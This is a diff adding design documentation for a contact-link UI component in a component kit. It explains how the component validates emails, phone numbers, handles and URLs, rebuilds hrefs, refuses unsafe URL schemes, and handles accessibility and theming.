@@ -0,0 +1,53 @@
|
|
|
1
|
+
## What it is
|
|
2
|
+
|
|
3
|
+
A contact detail rendered as a link you can trust: an email address, a phone number, a handle, a website. The value arrives as whatever the record holds, and the `href` is **built** from it rather than interpolated into it, so there is no path by which a stored string becomes a destination nobody checked.
|
|
4
|
+
|
|
5
|
+
Use it wherever a record's contact field is shown to a reader. If the value is a link that is already a URL you control, a plain `<a>` is fine; this component earns its place when the value came from data. For a machine-readable value that is not a destination, use **Token**; for a categorical label, **Chip**.
|
|
6
|
+
|
|
7
|
+
## The contract
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
@channel? — a channel id ('email' | 'phone' | 'sms' | 'url') or a whole ContactChannel
|
|
11
|
+
@value? — the address, number, handle or URL
|
|
12
|
+
@name? — who or what it belongs to; joins the accessible name
|
|
13
|
+
@variant? — 'chip' (default) | 'row' | 'icon'
|
|
14
|
+
@showCta? — show the verb beside the value in the chip variant
|
|
15
|
+
@hue? — a hue for the Law-2 treatment; defaults to --primary
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**The href is built, never passed through.** Each channel validates the caller's characters against its own shape first, and the URL channels are re-serialized by the platform's own parser afterwards. An email must match a deliberately conservative shape and is then percent-encoded. A phone number is checked _whole_ against digits and the punctuation people write numbers with — that check is what stops an arbitrary string with a few digits in it from being harvested into a plausible `tel:` — and is then rebuilt from digits plus a single leading plus, 3 to 20 of them, so nothing can smuggle a second URI component past the dialler. A handle is matched against a strict shape and appended to its channel's base. Only `http:` and `https:` survive; `javascript:`, `data:`, `vbscript:` and `file:` are refused everywhere, not only on the URL channel.
|
|
19
|
+
|
|
20
|
+
**The display string and the destination are computed separately, and the display one never builds an href.** A host renders without its scheme and without `www.`, a handle renders with its `@`, an address renders as typed. Conflating the two is how a link ends up going somewhere other than what it says.
|
|
21
|
+
|
|
22
|
+
**A value that cannot be made safe is still shown.** It renders as a `<span>` carrying the value as text plus a short note saying why it is not a link — never a dead `<a>`, and never nothing, because the reader still wants the information.
|
|
23
|
+
|
|
24
|
+
**Channels are data.** `CONTACT_CHANNELS` ships the four that are generic enough to belong in a kit; `handleChannel(id, label, base)` builds a profile channel from a base URL, and `@channel` accepts a whole `ContactChannel`, so the set grows without touching this module. Channels resolve by a stable `id`, never by their label — renaming or translating a label must not break a lookup.
|
|
25
|
+
|
|
26
|
+
**External channels carry `target='_blank'` with `rel='noopener noreferrer'`.** `mailto:`, `tel:` and `sms:` are not external: they hand off to the OS rather than navigating, so a new context would be wrong.
|
|
27
|
+
|
|
28
|
+
## Prior art
|
|
29
|
+
|
|
30
|
+
There is no equivalent to compare against, because most kits do not have this component — a contact detail is rendered at the call site as `<a href={{record.website}}>`, and that single line is the whole problem. It trusts a stored string to be a safe destination, it shows the reader one thing while pointing at another, and when the value is unusable it produces a link that goes nowhere. The kit's own `fields-configuration` contact-link is the source this answers to.
|
|
31
|
+
|
|
32
|
+
So the comparison worth making is against that one line rather than against another kit. What this adds is a validator per channel, a rebuilt rather than forwarded `href`, an honest fallback, and an accessible name that survives a row of four.
|
|
33
|
+
|
|
34
|
+
Where it is thinner: the validators are conservative rather than RFC-complete, and deliberately so — the cost of a false negative is a value rendered as text with a note, which is recoverable, while the cost of a false positive is an `href` nobody checked. But it means legitimately odd addresses will be refused, and a single-label intranet host (`https://wiki`) is turned away on purpose. There is also no copy affordance and no verification state: the component says whether a value is _shaped_ like a destination, never whether it reaches one.
|
|
35
|
+
|
|
36
|
+
## Accessibility
|
|
37
|
+
|
|
38
|
+
- **The accessible name is composed, not inherited from the subtree.** A row of four contact links whose names all announce as "Email" looks fine on screen and is unusable with a screen reader, so the name always carries the verb, the value, and the owner when `@name` was supplied — "Email Ada at ada@example.com".
|
|
39
|
+
- **The `icon` variant has no visible text at all**, and depends entirely on that composed name. It is the variant to be most careful with: without `@name` it announces only the verb and the value.
|
|
40
|
+
- **The mark is `aria-hidden`.** It is inline SVG in `currentColor` rather than a registry lookup, so a channel a caller invents still gets a mark, and none of them contribute to the name.
|
|
41
|
+
- **The unresolved state is a `<span>`, not a disabled link.** It is not focusable and announces as text, which is the honest reading: there is nothing to activate.
|
|
42
|
+
- **Focus is a 2px `--ring` outline at 2px offset**, and the press is the kit's shared `scale(0.96)`.
|
|
43
|
+
- **Contrast is derived rather than verified.** Ink is `color-mix(--foreground 16%, hue)` on `color-mix(hue 12%, --card)` at 11.5px. A pale caller hue produces pale ink on a pale ground; the default `--primary` is the only one the theme guarantees.
|
|
44
|
+
|
|
45
|
+
## Theming
|
|
46
|
+
|
|
47
|
+
`--pretui-contact-hue` (the per-instance hue, defaulting to `--primary`), `--card` (the mix base), `--foreground` (mixed into the ink), `--muted-foreground` (the unresolved hue and the note), `--radius`, `--space-2` / `--space-3`, `--text-ui-sm` (11.5px), `--text-ui-md` (13px in the row variant), `--text-ui-xs` (the note), `--weight-medium`, `--ring`, `--pretui-capsule-base` (the horizontal padding multiplier, shared with the other capsules), `--pretui-ease-snap`.
|
|
48
|
+
|
|
49
|
+
The caller hue reaches CSS through the kit's `cssStyle` guard, so a rejected value drops the declaration and the default stands rather than half a declaration landing in the attribute.
|
|
50
|
+
|
|
51
|
+
Because every color mixes against `--card`, dark mode gets correct dark contact chips with no extra work — but a theme must pick a `--primary` that survives a 12% mix against a dark `--card`, or the chip and its background converge and only the mark separates them. Retuning `--pretui-capsule-base` restyles this alongside every other capsule in the kit, which is the intent: a contact chip should read as the same family as the chips beside it.
|
|
52
|
+
|
|
53
|
+
The styles sit in `@layer PretComponent`, so a caller's unlayered CSS overrides them without a more specific selector.
|